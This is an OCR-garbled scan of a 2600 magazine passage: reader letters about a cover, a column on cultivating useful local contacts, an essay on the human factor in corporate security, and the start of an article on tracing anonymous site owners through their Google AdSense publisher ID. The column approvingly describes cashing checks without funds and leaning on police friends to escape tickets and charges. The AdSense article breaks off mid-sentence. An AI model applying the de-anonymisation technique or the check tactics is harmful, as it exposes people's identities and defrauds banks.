h idden little gems  that m a ke us  g o  loo ki n g  fo r a n ­
swers. O n  the  S u m m er 2 0 0 6  cover with the  g u y  fa lli n g ,  
the  coo rdi nates when put i nto a Ill a p pi n g  site give us  
a location  of where the  World Trad e  Center used to be .  

Very interesti n g  . . . .  
Aaron 

Close but not exactly correct. Read on . . . .  

Dear 2600: 
As a n etwork consu ltant,  I fi n d  your  maga zi n e  

usefu l a n d  very ti me ly. So much  o f  the  stuff I read  
seeill s rather dated . I t  i s  n i ce  to have fresh ,  relevant 
i nfo rmati o n .  

T h e  cover of 2 3 : 2  i s  very i nteresti n g  i n  t h a t  the  as­
tronaut falli n g  from the sky ha s  a map with  the  coor­
di n ates: 40 . 7 50541, - 73 . 99072 .  U si n g  Goog le Earth , I 
found  that the  coo rdi nates a re in New York at 3 3 rd 
a n d  Pen n Plaza . (This a lso matches the  p h oto on the 
cover. ) Wh i le I am not a New Yorker, I a m  very inter­
ested if this  locati on  has  a ny sig nifi ca n ce .  Cou ld this 
be  where the  2600 offi ces a re located? O r  d o  these co­
ordinates refer i n  some  way to the previous  H O P E  con­
ference? 

DauLos 
You 're even closer. Keep reading on for the 

answer. 

Dear 2600: 
So on the  cover of the  SUlllill e r  issue ,  the  g uy who  

i s  fa lli n g  from the  sky has  a m a p  to H O PE a n d  coordi­
nates of 40 . 7 50541, - 73 . 9907 2 .  The  poor  g uy i s  go ing  
to smack  i nto some  bui ldi n g  on  7th Avenue  between 
3 3 rd a n d  34th , missing the H O P E  convention  by a 
block !  

Dada M cCheesLe 
That would appear to be the case. And it may ex­

plain the commotion during the conference at the Mc­
Donald's located on tha t  block. 
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by Moebius Strip 
In o u r  last missive we took a stro ll down 

memory la ne  - a loo k  backwa rd,  to a n  exa mp le of 
h ow the gathe ri n g  of avai lab le i n fo rmation  was 
exp loited fo r my persona l  benefit. In  th is  i ssue ,  
we ' l l  turn o u r  visi on  180 degrees and loo k  to the  
future. S pecifi ca lly, we ' l l  ta l k  about the  cu ltiva­
tio n ,  n u rturi n g ,  and maintena nce of usefu l  con ­
n ections ,  assets , a n d  i n fo rmati on  n ot 
n ecessa ri ly fo r i m m ediate gai n or benefit, but 
with an eye towa rd some future ti m e  when that 
connecti o n ,  asset, or datum might  be very usefu l 
or perhaps even essenti a l. 

I have fou nd  that the  su rest way to put a use­
fu l strategy i nto practi ce and ensu re that it i s  fo l­
lowed th rough  upon is to ma ke it a h abit. When  
one  i s  i n  the  habit of seeki n g  out con necti on s  
a n d  fo rgi n g  a llia n ces, it i s  amazi n g  the  n u m ber  
a n d  scope of con necti on s  one  can ga rne r  i n  a rel­
atively s ho rt period  of ti me  a n d  h ow very usefu l 
those con necti on s  ca n become  when  the  ch ips 
a re down . By starti n g  with the  fou r  si mp le max­
im s  set fo rth below, putti ng  them i nto practi ce i n  
t h e  cou rse o f  you r  day t o  day life , a n d  ma ki n g  
you r  practi ce o f  t h e m  a n  habitua l  p u rsuit, you 
can a lm ost gua ra ntee yourself that when life 
hands  you somethi ng  u nexpected ,  be it a c ha l­
lenge ,  a need ,  or a n  opportunity, you wi ll be i n  a 
m uch better positi on  to ta ke advantage of that 
opportunity fo r your  own benefit. 

U n li ke those God less cha rlatan s  who propose 
to sell  you this ki n d  of i nfo rmation  on  late-n i ght 
i nfomerci a ls ( s h amefu l. the  myri ad  si n s  that a re 
perpetrated i n  that du lla rd 's  waste of b roadcast 
bandwi dth that i s  2 a m  to 6 am in j ust about 
every m edia ma rket i n  the  world ) ,  I wi ll s h a re th is  
with you g rati s ,  n ot out of a ny sense of fa lse 
p ri de  or se lf-aggrandizement but rather  beca use 
it i s  i n  keepi ng  with a nother  impo rtant p ri n ci p le 
to which I strive to adhere: that knowledge tra ns­
fer i s  a lm ost a sacred duty. Nea rly everythi n g  I 
know of a ny value I have lea rned not i n  a class­
room o r  th rough  fai lure, but from the good wi ll 
a n d  generosity of someone who knew more or 
different thi ng s  than  I knew, a n d  who took the  
ti me  to  i m pa rt thei r  knowledge,  wisdo m ,  a n d  ob­
servati on s  to me .  To  wit, pa rt of what I hope  to  

do  he re i s  to pass  the  to rc h ,  a s  it were, a n d  s h a re 
what I know so that you ca n d igest it, p rocess it, 
refi n e  it, disca rd the pa rts that don 't ri n g  true i n  
you r  ci rcumstances, a n d  u ltimate ly i ntegrate the  
usefu l stuff i nto you r  own  fund  of knowledge .  So ,  
without fu rthe r  ado ,  h ere they a re :  Fou r  Maxi m s  
fo r Ma ki n g  Usefu l Connection s .  

Your Loca L  Bank is a Very UsefuL Connection.  
The first thi n g  I do  when I m ove to a new town is  
visit the  loca l ba n k  - n ot a gia nt, nati ona lly 
owned cha in  ba n k  b ra n c h ,  but the  sma llest, 
lone li est ban k  in town . I open a checki n g  a n d  a 
savi n gs account. I s h a ke hands ,  i n troduce myself 
to the  people ,  ask  to m eet the  bank  manage r, 
give h im  a wa rm hand shake a n d  a loo k  i n  the  eye 
as  I tell h im  "I may n ot be you r  wea lthiest cus­
tomer, but if you treat me  rig ht, I wi ll be you r  
m ost loya l a n d  m ost voca l custome r ! "  In  doi n g  
this over t h e  past 30  yea rs (fi rst time  was w h e n  I 
was 12 yea rs o ld with  the  money I made  washi n g  
d i shes a t  the  Ch inese restau rant  n e a r  my house) I 
have never been met with a nythi ng  othe r  than  
g ra ciousness, hospita lity, a n d  wa rmth , a n d  I ca n­
not tell you how many ti m es I've received open­
ing  deposit bon uses, comp limentary toasters, 
gym bags, wi n e  g lasses, pati o  sets , ten ni s  rack­
ets , savi ng s  bonds and the  li ke, even when my 
pa ltry openi n g  sums  were fa r be low the qua lify­
i n g  amounts needed for those perks .  Why? The 
an swer is si mp le .  In a wor ld  that i s  fast-paced , 
loya lty often h i n ges on a fraction  of a percentage  
po i nt  where a ban k  i s  concerned a nd ,  when  you  
come  right  down to  i t ,  ban kers a re never really 
su re whether  today's Free Checki n g  a n d  State­
ment Savi ng s  customer  m ight  hit a wi n dfa ll of 
cas h  via i n herita nce o r  j ust the u nexpected sm i le 
of Lady Fortune .  In s ho rt, they a re taken aback  -
disa rmed ,  if you wi ll - by your  assertiven ess a n d  
mo re importa ntly, you r  ki n d n ess ,  i n  a very posi­
tive way. Th rough  the si mp le soci a l  man ipu lati o n  
of bei n g  fri e nd ly, u pbeat, a n d  wa rm ,  you 've 
ach ieved somethi n g  that m ight  have otherwise 
taken you many m onths to achieve. In j ust a few 
m o ments, you have tra nscended the  n u m beri n g  
system a nd  a ll t h e  othe r  trappi ng s  o f  t h e  i n stitu­
tio n  desi g ned specifica lly to depersona lize you .  
You have become  a n a m e ,  a livi n g ,  breathi n g  per-
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son ,  a new customer! to you r  ban k .  Of cou rse,  
j ust as  n o  flower g rows without s un Li g ht and wa­
ter, so too m ust you r  new friends  i n  the  bank  be 
n u rtured and cu Ltivated . Visit the  ban k  weekLy. 
Ma ke sma LL but reguLar  deposits, Li ke clockwork .  
Routi ne ,  habit, and custom give the  ba n ker  a 
g reat sense of ease a n d  comfo rt, a n d  by p rovi d­
i ng  that th roughout you r  reLationsh ip ,  you raise 
you r  ba n ker 's LeveL of trust sur reptitious Ly, but 
a Lso organica LLy. One thi n g  I Li ke to do  i s  on  o r  
j u st before VaLenti n e's  Day, I p i ck  up  a bag fu L L  of  
those ti ny Godiva choco Late hea rts - the  ones 
with o n Ly fou r  chocoLates i n  each one  - a nd  I give 
one  to every teLLer, man  or wom a n .  Usua LLy this 
costs me  about $50  fo r the  ei ght  to ten h ea rts I ' L L  
need ,  but the  a mount of good wi ll and considera­
tion  I receive i n  exchange  fo r the  sma LL i nvest­
m ent pays itseLf back thousand-foLd a n d  then 
some .  

"O kay, Moe , "  you ' re sayi n g  ri ght  n ow, "This 
seems Li ke a Lot of effort and Legwork on  my pa rt. 
Where 's the payoff? " Ah ,  yes. The payoff. WeLL, 
h ave you ever had a nice fat check to cash a n d  
gone  t o  the  ban k , o n Ly t o  be toLd that "the funds  
wi ll h ave to  be deposited a n d  they ' L L  be u navai L­
a b Le fo r ten busi n ess days u nti L the  deposit 
c lea rs . "  WeLL ,  that never happens  to me .  Usua LLy, 
fo r La rge checks that I want to cas h ,  I go to 
S h ei La ' s  wi ndow. I don 't even have to ask  fo r spe­
cia L  dispensati on  any Longer. I j ust pass her the 
check, si g n ed on  the  back ,  she cashes it out, 
gives me my money, a n d  I'm on my way. No wor­
ri es about whether  there 's enough  money i n  my 
account to cover the a m ount  of the check (there 
never i s ,  by the  way - I p ut the  sa me  $ 25  i n  a nd  
out o f  those two accounts h u nd reds o f  ti mes - but 
I put them in at S hei la ' s  wi ndow and ta ke them 
out t h rough  the  ATM .  Physica LLy i t ' s  the  same  
thi n g  - my money comi n g  out o f  my  account - but 
psycho Logica LLy and socia LLy, it 's  a worLd of differ­
ence) . S hei la doesn 't associate me with someone 
who  takes money out o f  the ban k. She  associates 
me with someone who  m a kes regu La r  deposits 
a n d  who occasi ona LLy cashes a check or two at 
the wi ndow. Su reLy s h e  has no  worries about 
whether  the  check I 'm  p resenti n g  fo r cas h i ng  is a 
good check - I 'm  Moe! She  sees me  mo re than  s he  
sees he r  cousi n s  i n  Fresno !  And  you  c an  bet that 
if  a check I cas h ed were to have p robLems clear­
i n g  the  ma ker 's i n stituti o n ,  I wouLd n 't get a h efty 
su rcha rge a nd  a computer-generated Letter !  I 'd  
get a phone ca LL from Shei la :  "Moe,  we had  an  is­
sue  with the check you cas hed Last Tuesday. Can 
you give the  m a ker  a caL L  and make su re it ' L L  clea r 
on the  redeposit? CaL L  me  back once you 've spo­
ken to h im  and we' L L  resubmit it . "  In you r  average 
ba n k  you have to have h u nd reds of thousands of 
do lla rs u nder  management to get that ki n d  of 

service ,  yet I get it with ba Lances that bareLy top 
$500 .  

My apa rtment bui ldi n g  had  experi enced a cat­
astroph ic  flood a n d  the  damage  was so severe 
that the bui ldi n g  - a nd  everyth ing  that had been 
i n it - was no  Lo nger  fit fo r use.  I had to move, 
and fast. I found  an a pa rtment ri g h t  away, but 
with i n su ra n ce companies ,  bu reaucrati c  red tape,  
and the  need to rep Lace a Lmost everythi ng  I 
owned, I was i n  no position  to d rop  t h ree m onths 
rent/secu rity/whatever to m ove i n  to a p lace. So 
I went to my Loca L ba n k's  branch manage r  and ex­
p Lai ned what was goi n g  o n .  I did n 't ask fo r a Loa n  
b u t  I d i d  ask  fo r a reference .  With m e  sitti n g  rig ht 
at he r  desk ,  my ban k 's branch manage r  ca LLed my 
prospective La n d Lo rd a nd  gave he r  assura n ces 
that if there were any probLems with my cash 
flow, she wouLd persona lly gua ra ntee that the 
La n d Lo rd wou Ld get everythi n g  to which h e  was 
entitled - that the bank had  been doi n g  busi n ess 
with me fo r q uite some time  a nd  that I was a reLi­
ab Le a n d  vaLued customer. Bam! J ust Li ke that, 
with a min im a L  m ove-i n deposit of o n Ly $250  a n d  
my  p romise t o  catch up  on  t h e  rent as s oo n  as  t h e  
i n su ra n ce rei mbu rsements sta rted flowi n g ,  I was 
sitti ng  p retty in my as-yet-unfu rn i shed  but sti l l  
g roovy new apa rtment, a LL beca use I made  the  ef­
fo rt to have my Loca L ban kers see me as a perso n !  

Your LocaL  Grocery Store is a UsefuL Connec­
tion. There a re two 24-hou r  g rocers Located 
with in  a m i le of my home  and  both offer affi nity 
cards that entitle you n ot o n Ly to discounts on  
speci a L  me rchandise every week, but a Lso a LLow 
you check writi n g  a n d  check cash i ng  p rivi leges. 
Now, as  nice as my bank i s ,  they a re sti ll a bank  
a nd  they sti ll close at 4 p m .  Sometimes you  need 
access to you r  money at oth er  ti mes .  And some­
times ,  if you ca n i mag ine  such a thi n g ,  you need 
access to you r  money when you don 't yet have 
your  money. Case i n  point :  I get paid twice a 
month ,  on the  1 5th a n d  the Last day of the  
month .  A whi le back ,  some  budd ies  of m i ne  were 
coming  to my town fo r a weekend of debauchery, 
a LittLe soci a L  i n tercou rse with those Lithesome 
Ladies who wi nd  themseLves a round  the  sh i ny 
po Le fo r ou r  enj oyment, etc . ,  a n d  perhaps  a Live 
sporti n g  event or two . H owever, n ot o n Ly was my 
wa LLet bone  d ry, my ban k  ba La n ce was a Lso ,  effec­
tiveLy turni n g  my LoveLy Visa debit ca rd i nto j ust 
so m uch useLess p Lastic .  Payday happened to be 
on the  fo LLowi n g  Monday, ju st in tim e  for me to 
com pLeteLy miss a chance to pa rty with  my vi sit­
i n g  posse. Lucky fo r me thoug h ,  I had  Lo ng  ago 
app Lied fo r a n d  received my affi nity ca rd fo r both 
g rocers. And both wou Ld a llow me  to p u rchase 
g roceries ,  pay with  a check, a nd  write my check 
fo r up  to $150 mo re than  the  amount of the  p u r­
chase !  Two s ho rt tri ps a nd  45 min utes Later a nd  I 
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had  the  money i n  my hand  to j oi n  my friends  i n  a 
Lost weekend ' s  esca pades .  Si n ce th is  was a Fri day 
n ight  a n d  my paycheck wou Ld hit the ban k  fi rst 
thi n g  Monday morn ing  (but the checks I wrote at 
the g rocery wouLdn 't do  so unti L  Tuesday at the 
ea rLiest ! )  I had  what was equiva Lent to an  i nter­
est-free $300 Loa n  with which to fun d  my week­
end  p La n s .  N ow, had  I waited unti l  I needed to 
get a LittLe back door  cash adva n ce to fi ll out the  
fo rms ,  wa it  fo r the  ca rd to  a r rive, etc . ,  that week­
end ' s  fu n wou Ld have been a distant memory of 
which I was not a part. By estab lish i n g  my reLa­
ti onsh ips  with the g rocery stores Lon g  before I 
had  a need to capita Lize o n  t hem ,  I was a b Le to 
exp Loit that benefit to my own advantage when 
the  opportunity to  do  so was  p resented to me .  

Your Loca L  Independent Service Station is a 
UsefuL Connection. I ' LL admit it, it's tem pti n g .  
D rive t h e  ca r t o  one  o f  those Qui k-Stop ,  B P  Ex­
p ress, or Mobi l  m in i -mart gas stations  a n d  you 
can ta n k  up ,  pee, get a coup Le of bottles of 
BawLs ,  a cup of coffee or a stogi e .  It's o ne  stop 
shoppi n g ,  so it i s ,  as the n ame  poi nts out, a con­
venient store. H owever, those p Laces don 't fix 
cars, a n d  ca rs b rea k down . And they never b rea k 
down when  you ' re flush  with cas h  a nd  have 
n owhere to go .  

I h ave been  buyi n g  my twi ce-weekLy tan kfuLs 
of u n Leaded premi um  from Les Lie ' s  Service Sta­
tion  fo r the past th ree yea rs. LesLi e  i s  the me­
chanic in residence and it 's  h is shop.  The  gas i s  
p umped by whichever h igh  schoo L  kid happens  to 
be worki n g  on the  day I get there,  but I a Lways 
get out a n d  wander  over to say he LLo to LesLi e ,  
ask  afte r h is  fa mi Ly, ta L k  about spo rts, a n d  the 
Li ke. I a Lso ti p h is  pump jockey a coupLe of bucks 
a week. Les Li e  sees me  as a reg u La r  customer  -
twi ce a week ti mes th ree yea rs, th at's 3 12  vi sits 
to his garage .  So ,  Last yea r, when  my car th rew a 
rod (o kay, it 's ki n d  of a n  o Ld ca r, but what it Lacks 
i n  n ewness it ma kes up  fo r i n  cha rm)  and I was 
once again down to my Last di me ,  I ca LLed Les Li e ,  
who  sent the  kid with the  wrecker, towed the  ca r  
i n ,  fixed it i n  two days, a n d  toLd m e  to " pay h im  
whenever. " The  Gas n '  Go may h ave better coffee 
a n d  the  Latest issue of EasyRiders, but somehow I 
don 't thi n k  they'd fix my hoopty a n d  offer, 
unasked ,  to wait on the money unti L  I had  it. 
Agai n ,  you can see that if you do you r  ground­
work,  you ' ll h ave resou rces upon  which to d raw 
when  you n eed somethi n g .  

Loca L La w Enforcement is a Ve'Y UsefuL Associ­
a tion. I Live i n  a fai r Ly sma ll town , but one  with a 
g reat dea L  of traffi c enfo rcement. If you spend 
enough ti m e  behi n d  the wheeL, at some po int  
you ' re goi n g  to get na i led doi n g  somethi ng  
overLy creative, bone-headed ,  o r  down ri g ht dan­
gerous ,  and  John  Law wi LL usua lly be rig ht there 

to see it a n d  cite you a cco rdi n g Ly. Knowi n g  this 
about the  town , earLy i n  my experi ence ,  I went to 
see our town 's  PubLi c  Safety Di rector and offered 
my services to do  a s h o rt, one-hou r  semi n a r  on 
topics in i nfo rmatio n  security, i . e . ,  what i s  en­
crypti o n ,  steaganogra p hy, systems  101 ( h ow 
data is sto red ,  accessed ,  man ipu Lated ) ,  vi ruses,  
etc.  The  fo rce was de Li g hted to have a chance to 
raise the  generaL LeveL of knowLedge of thei r  staff 
a n d  I p resented to about 40 peopLe ,  both swo rn 
offi cers and civi Li an  emp Loyees .  I opened up  the 
floor  to questions  and of course many of the  o nes 
I received were about Antivi rus techno Logies ,  
spywa re, ch i Ld-safe surfi n g ,  and the  Li ke. Fortu­
nateLy, I ca me  p repared . I had h andout CDs for 
every pa rti ci pant  that had  tri a Lwa re of n ume rous 
contemporary system clean u p  tooLs a Long  with 
some i n structions  on  how to use the  discs to 
clean up  thei r  PCs . I a Lso gave them my busi ness 
card and told them that i f  they were havi n g  a ny 
issues to get i n  touch .  

Well, from a "bui ldi n g  up  some side-work" 
perspective, this was one of the  m ost usefu L a n d  
successfu l t h i n g s  I cou Ld have do ne .  I g o t  cal ls 
from the  attendees,  fri ends  a n d  nei ghbo rs of the  
attendees, a nd  eventua lly got  a contract from the  
m u nici pa lity itse lf to h a nd le a LL the i r  IT  support. 
That o ne  semi na r, which p roba b ly took me ten 
hou rs to p repa re i n cludi n g  bu rn ing  the h a ndout 
CDs ,  resu lted i n  me  m a ki n g  a lm ost $50 ,000 in 
supp lemental  i n come  i n  the  ensui n g  yea r be­
tween the  work o n  the  home PCs and the  m unici­
pa l  assets . The  rea l benefit, thoug h ,  i s  that I 
have made  sp lend id contacts with some hi g h ly 
p la ced law enfo rcement offi ci a ls .  I have a wa llet 
fu LL of PBA ca rds (ca n 't get a ti cket in my own 
town even if I tri ed ) ,  I get to go  to the Poli ce­
man 's Ba LL, a n d  last yea r, when my nephew got 
nabbed for d rag  raci n g  on the  fou r- la n e  h ig hway 
in a n ei g h bo ri n g  county, he had to spend the  
n ight  i n  jai l, but  the  next morn i ng ,  after I asked 
my fri end  the Lieutenant  to ca ll in a favor, h e  was 
released with a stern warni n g .  

In s umma ry, the  lessons  h ere a re si mp le .  
There i s  g reat potenti a L  benefit to you i n  you r  
voyage th rough  t h e  world if a t  every j u n ctu re you 
take some ki nd  of positive, forwa rd-thi n ki n g  ac­
ti on  that has  the  potenti a l  to he lp you to ach ieve 
a tang ib Le benefit, even if you ' re not su re at the  
ti me  what that benefit m ight  be .  It's fa r better to  
have it befo re you need i t ,  than  to not have i t  
when you need it desperately. Be po lite, unfa i l­
i n g  so .  Be h u m b Le ,  be gracious ,  a nd  rea LLy Let 
people know you enjoy the  chance to meet them 
a nd  get  to know them . For as  my mother  used  to 
say, "You  catch mo re fli es with sugar  than  you do  
with vi n ega r. "  
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If th ings  were easy, we wouldn 't  have hackers .  
Much of ou r  time  i s  spent ti n keri n g  with tec h no l­
ogy that we don 't fu lly u nderstan d  - p recise ly be­
cause we want to unde rstan d  it. Someti m es it's 
because the cutti n g-edge tech no logy i s  bei n g  
tig htly contro lled by  the  propri etors ' u nwi lli n g­
ness to release specifi cati on s  to open develop­
ers .  Other  tim es it's because we have a desi re to 
m odify some device or softwa re that doesn 't 
q uite do what we'd li ke it to. Very often ,  espe­
cia lly in recent times ,  it's because we want to un­
de rsta nd  the  systems  that  a re i nterna l  to  the  
corporations  a n d  organizations  which seem to 
govern m uch of ou r  lives. N o  matter what the  end  
goa l  of  ou r  exp lorations  may be ,  assumpti ons  
about how th ings  work  usua lly g uide  us u nti l 
m o re concrete conclusi on s  a re reached .  But how 
do  we know when  ou r  a ssumpti ons  a re correct? 
Many ti mes ,  it's n ot so clea r. 

I recently had  the  opportunity to work in the  
Information  Secu rity Offi ce fo r a very la rge co r­
porati o n .  It was a toug h  choi ce ,  a n d  m ost of the  
work I had  done  up  to that po int  h ad  been fo r 
m uch sma ller o rgan izati on s .  I was pushed a n d  
pu lled from a ll di rections  when  ma ki n g  this deci­
sio n  - from friends  clai m i ng  that I was somehow 
"sel li n g  out" to othe rs ca lli n g  me  a foo l  fo r even 
consideri n g  loo ki n g  e lsewhere .  B ut I wasn 't  the  
o n ly one  who  had  to  m a ke a decisi o n ;  they had  
the i r  doubts about h i ri n g  a h acker as  well, a n d  I 
certai n ly got my s h a re of "wa rn i ngs" which no  
doubt stemmed from com mon  misconception s  of  
the  g roups  I associate with . Regard less of a ny of  
that, I p romised that  I would try my best to  ma ke 
it a m utua lly rewa rdi n g  experi ence .  

One  of the  m ost i mportant secu rity conside ra­
tions  of today i s  the  p rotection  of customer  data . 
N obody wants the  head li n es touti n g  about how 
thei r  company lost the  persona l  records of m i l­
li o n s  of custo mers.  At the  same  ti me ,  busi n ess 
can 't stop if nobody's fig u red out the best way to 
securely tra nsport data . As a resu lt, the  poor  ( o r  
sim p ly lack of) miti gati n g  contro ls t hat  a re put i n  
p la ce to  pseudo-secure the  data don 't a lways 
work .  That's when  it wi nd s  up lost or sto len a n d  
the  company e nd s  up  with  bi lli o n s  o f  do lla rs of li ­
abi lity a lo ng  with some really, rea lly pissed off 
customers.  

Meanwhi le we a ll observe the  sam e  mistakes 
bei n g  made ti m e  after ti me ,  and we're a ll usua lly 
appa lled . We' re appa lled because these mista kes 
rea lly s hou ld n 't happen .  Secure tra nsport m echa­
n isms a re wide ly avai lab le ,  and we have little 
troub le securi n g  ou r  own persona l  com m u ni ca­
ti ons  - so why can 't m u lti-bi lli on  do lla r  compa­
n ies do  the  same? Worse, we' re thei r  customers ! 
It's ou r  data that's bei n g  tossed a roun d  cyber­
space i n  the  clea r !  When  that data gets i nto the  
wrong  hands ,  we' re the  u ltimate victi m s !  For a ll 
we can tell, they're just as tech n ica lly i g n orant as 
our g randpa rents. 

So we' re p resented with two vastly different 
perspectives of the  same  problem .  Big busi n esses 
see i nfo rmati on  secu rity as one of the g reatest 
c ha llenges they've yet to face, wh i le we see it as 
a h u rd le that s hou ld have been clea red a long  
ti me  ago .  B ut what  if we' re maki n g  the  wrong  as­
sumpti ons?  

Getti ng  back to my corporate experi ence ,  I 
started work the re i n  a ti ny department which 
dea lt with n ear ly every secu rity issue fa ced by the  
compa ny. J ust a few of us sat  at ou r  desks i n  the  
corner  of the  bui ldi n g ,  p retty wel l  seg regated 
from the rest of the IT department. Th ey' re p rob­
ab ly one of the m ost p leasant groups of people 
I've yet to work with ,  but I doubt that othe rs saw 
it that way. I 'd be surprised if a si n g le busi n ess 
p hone  call made  to our depa rtment resu lted i n  
t h e  ca lle r h ang i ng  up  with a sm i le on  h i s  o r  h e r  
face. These i n fosec g uys were stri ct as  h e ll, a n d  if 
somethi n g  had to enter or  leave the  offi ce over 
the  network ,  it was goi n g  to do so in a secure 
manner. Period .  

Without getti n g  i nto too  many tech nica l  de­
tails, I ca n h onestly say that it's one of the  m ost 
secure envi ro n m ents I've seen so fa r. Everyth ing  
i s  locked down , a ll acti on s  a re a ccounted for, and  
it's a ll logged - thousands  of log  entries per  sec­
ond ,  a ll retai ned .  And yes, it i s  manageab le - I 
wrote some of the  softwa re to sift th rough  it a ll . 
Everythi n g  that goes i n  o r  out m ust do  so i n  a 
manne r  app roved by the  i n fosec department, a n d  
the  contro ls a re d amn  stri ct. You ' re n ot permitted 
(both tech nica lly a n d  po liti ca lly) to a ccess a ny 
resou rce you don 't n eed fo r you r  job functi o n .  
You can forget about person a l  emai l o r  chat 
clients too - most of it is blocked, a n d  what i sn 't 
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Locked usuaLLy gets caught by one of the many 
IDSes or the Investigations department while 
sifting through the Logs. As a matter of fact, 
you're Lucky if it gets bLocked by the proxy, be­
cause if it's not and you get caught, you're LikeLy 
to be out of a job sometime shortLy after. Yep. 
Seem Like a hosti Le environment? WeLL it is, and I 
bet many of you wouLdn't expect it to be that 
way. But this is a LL typicaL stuff and, after a LL, 
most of the empLoyees are deaLing with incredibLy 
sensitive i nformation that needs to be treated i n  
t h e  most responsibLe manner possibLe. That's not 
to say that there aren't security hoLes, but it cer­
tain Ly approaches the Limit of practicaLity in a 
reaL-worLd production environment. So where's 
the probLem? 

WeLL, technica LLy, something that approaches 
the Limit of practica Lity in  a reaL-worLd environ­
ment isn't a Lways enough .  It's usually possibLe to 
find at Least one way to outsmart some aspect of 
even the best security systems. You've got to be 
smart, creative, and ambitious to this end. Most 
peopLe aren't. The technicaL Limitations of secu­
rity systems are far from the biggest th reat when 
the human factor is taken i nto consideration.  
There's a fundamentaL Limitation with a LL security 
systems: empLoyees need access to data to do 
their  job. As such, an authorized empLoyee no 
Longer needs to ci rcumvent any security controls 
to gai n access to said data - the fact that he or 
she has access to it is an intrinsic part of the en­
tire system .  The human being now becomes the 
weakest Link, and ignorance and moraLity become 
the two biggest factors in  keeping the company's 
data safe. 

Everybody struggLes with mora Lity - it's an ar­
bitrary measure of va Lues and there a re not LikeLy 
to be many peopLe who share preciseLy the same 
views regarding any particula r  topic. It's some­
thi ng that's simpLy Left up to human nature, and 
security in  this area is not Li keLy to improve any 
time soon.  However, ignorance is something 

we've a LL pLayed with .  Ignorance can be purposeLy 
expLoited very easi ly and is an incredibLy conve­
nient way of obtaining i nformation - SociaL Engi­
neering 101. Whether you reaLize it or not, we've 
a LL manipulated peopLe i nto getting something 
we wanted, and i n  doing so were activeLy expLoit­
ing ignorance. It can also be accidentaLLy ex­
pLoited. What an empLoyee does with i nformation 
once the security framework has done a LL its work 
and has a uthorized access is beyond any techni­
caL soLution - misplacing printouts, improper dis­
posaL of records, etc. However, they're things 
that can be addressed with education.  In observ­
ing many of the recent stories of data Leaks, it 
becomes obvious that the overwheLming majority 
of cases i nvoLve the expLoitation (accidentaL or 
i ntentionaL) of mora Lity or ignorance, as opposed 
to that of any tech nicaL system .  

So where d o  w e  go from here? Security is im­
proving but it seems as though it's becoming 
ti me to focus more on the human factor than 
a nything else. The technica L  side still needs work, 
as it a Lways wi LL, but it no Longer seems to be the 
weak poi nt when it comes to the Larger entities. 
As I've experienced firsthand, financiaL i nstitu­
tions and other Large businesses whose primary 
focus is deaLing with sensitive information seem 
to have the tech nicaL  side fairLy weLL ta ken care 
of, as m uch as it may appear to be to the con­
trary. The human factor doesn't have a simpLe so­
Lution, though,  and therei n  Lies the current 
cha LLenge. Educating empLoyees is probabLy the 
correct first step, but certain Ly not the finaL one. 
The chaLLenge of keepi ng data secure without be­
coming Big Brother is a tough one, and it seems 
as though Ingsoc may become the new Language 
of the corporate worLd. Working for such entities 
certain Ly isn't for everyone but it's fuLL of chaL­
Lenges and,  if you can accept the restrictions that 
go a Long with it, you'LL find that it's a great arena 
i n  which to test your ski Lls. It's a new chaLLenge. 
and we're a LL hackers. Let's get to work. 
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by N atas 
For those who  don 't know, Goog Le 's AdSense 

p rog ra m a LLows th i rd-pa rty websites to run  text 
or image  ads that a re reLevant accordi ng  to the  
type of content you r  website offe rs. Essenti a LLy, 
Goog Le j ust sca ns  you r  site fo r keywords a n d  then  
figures out which a d s  i t  wiLL place on your site 
that are reLated to these keywords.  Every day I'm 
seeing more and more websites using GoogLe Ad­
Sense to generate additionaL revenue. Let's ta ke 
a quick Look at the AdSense javascript code that 
users paste into their page's source code to actu­
a LLy generate the ads on the site. 
<script type= " text / j avascript " >< ! - ­
googl e�ad�c l i ent � " pub- 8 5 8 4 9 3 1 4 6 0 7  
- 0 7 9 4 9 "  ; 
googl e�ad�width � 7 2 8 ;  
googl e�ad�hei ght = 9 0 ;  
googl e�ad�format = " 7 2 8 x9 0�as " ;  
googl e=ad=type = " text " ;  
goog l e=ad=channe l = 1\ II ; 
/ / - - > < / script> 
< s c ript type= " text / j ava script " 

s rc= '' http : / /pagead2 . goog1esyndication . 
-'com/pagead / s how __ .ads . j s II > 
< / s cript> 

-

Of particular i nterest is the googLe_ad_cLient 
va riabLe, "pub-8584931460707949", which is this 
person's unique identifier that GoogLe has as­
signed them . I'LL expLain how this can be usefuL in 
a moment. 

Now that you have a basic understanding as 
to what GoogLe AdSense actuaLLy is, I'LL quickLy 
get into the main point of this article, which is 
how you can use GoogLe AdSense to potentiaLLy 
"own" someone who's tryi ng to remain anony­
mous. In most cases this wiLL be the website's 
owner/web master. GoogLe's AdSense program re­
centLy incorporated a new feature caLLed "Onsite 
Advertiser Sign-up" which puts a text Li n k  that 
says "Advertise on this site" at the bottom right 
hand corner of text ads by GoogLe. Let's ta ke a 
Look at an exa mpLe U R L  of this "Advertise on this 
site" Lin k: 

Example URL Number 1 
https : / / adwords . goog l e . com / s e l ect/Onsite 
- S i gnupLandingPag e ? c l ient�ca-pub- 8 5 8 4 9 3 1  
- 4 6 0 7 0 7 9 4 9 &ref erri ngUr l �http : / / camophone 
- . com/ &hl=en&gl =us 

Notice the googLe_ad_cLient variabLe "pub-
8584931460707949" in the U RL. When a user 

c licks this Lin k, they're brought to a GoogLe Ad­
Words page with big text that says "Advertise on" 
foLLowed by the name of the site or the name of 
the  compa ny. This information is being puLLed 
from GoogLe's database that contains the infor­
mation  th at the user entered during the initiaL 
AdSense sign up process and the googLe_ 
-ad_client variabLe is used to do this. WhiLe the 
referring URL is a lso in  there, it's basica LLy worth­
Less and you can modify it to read anythi ng you 
Like, and it wouLdn't have any effect on the infor­
mation that's shown on the Onsite Sign-Up page. 
This is great, as the onLy thing you need to craft 
your own queries is the googLe_ad_cLient 
variabLe, which is something  I'lL a lso get to in a 
moment. 

One of the great adva ntages of the GoogLe 
AdSense program poLicy is that once you have an 
account, GoogLe aLLows you to place their Ad­
Sense ads on m u LtipLe websites that you own . 
This was done so that you don't need to sign up 
for th ree different AdSense accounts if you have 
three different websites that you want to place 
ads on.  But what if you i nitiaLLy signed up for an 
account for your businesses website and then de­
cided to Launch a few personaL websites or vice 
versa? Other than the Whois information, how 
wou Ld a visitor be abLe to teLL that these websites 
are owned or operated by the sa me entity? 

WeLL, when GoogLe La unched their "Onsite Ad­
vertiser Sign-up" feature, existi ng AdSense ac­
counts were automatically opted in to this 
